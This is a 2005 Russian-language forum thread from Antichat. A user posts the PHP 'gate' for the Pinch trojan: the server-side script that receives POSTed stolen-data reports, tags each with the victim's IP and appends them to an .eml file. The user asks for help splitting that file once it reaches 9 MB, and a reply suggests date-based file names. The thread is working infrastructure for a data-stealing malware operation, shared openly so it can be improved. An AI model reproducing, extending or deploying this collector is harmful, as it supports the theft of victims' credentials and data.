HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Пинч Гэит
  #1  
Старый 18.09.2005, 02:54
x_Lex
Участник форума
Регистрация: 08.01.2005
Сообщений: 178
С нами: 11229386

Репутация: 438
По умолчанию Пинч Гэит

Пмогите пожалуйсто.
Этот гэйт сохроняет отчеты в письмо base.eml (этакая база данных) как мне сделать чтоб скрипт при размере файла (base.eml)9мб продолжал запись в base1.eml base2.eml base3.eml base4.eml и т.д.
Спасибо за внемание


PHP код:
<?
$ip
=getenv("REMOTE_ADDR");
$email=$_POST['a'];
$subject=$_POST['b']."(".$ip.")";
$msg=$_POST['c'];
if (
$msg<>''){
$tmp $msg;
$msg=eregi_replace(" ","+",$tmp);
$var $ip " - " rand(0,9) . rand(0,9) . rand(0,9) . ".bin";
$var2 "\n\n";
$headers "--NextPart\n";
$headers .= "Content-Type: application/octet-stream; name=\"".$var."\"\n";
$headers .= "Content-Transfer-Encoding: base64\n";
$headers .= "Content-Disposition: attachment; filename=\"".$var."\"\n\n";

@
$pfp1 fopen('base.eml'"r" );
$ds=@fread ($pfp1filesize('base.eml'));
@
fclose($pfp1);

@
$pfp1 fopen('base.eml'"w+" );
@
fputs ($pfp1$ds);
@
fputs ($pfp1$var2);
@
fputs ($pfp1$headers);
@
fputs ($pfp1$msg);
@
fclose($pfp1);
};
?>

<!-- REQUIRED -->
<script language="JavaScript">
window.status = "_ret_ok_1";
</script></body></html>
 
Ответить с цитированием

  #2  
Старый 18.09.2005, 10:12
nerezus
Флудер
Регистрация: 12.08.2004
Сообщений: 3,791
С нами: 11444066

Репутация: 2290


По умолчанию

А не легче ли сделать имя файла зависимым от даты?
http://forum.blacklogic.net/index.php?showtopic=1013

Последний раз редактировалось Че Гевара; 24.09.2005 в 16:16..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
не понимаю =( r00t Болталка 8 29.08.2005 02:23
Пинч 1.0 Майор Комментарии к видео 1 07.02.2005 20:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.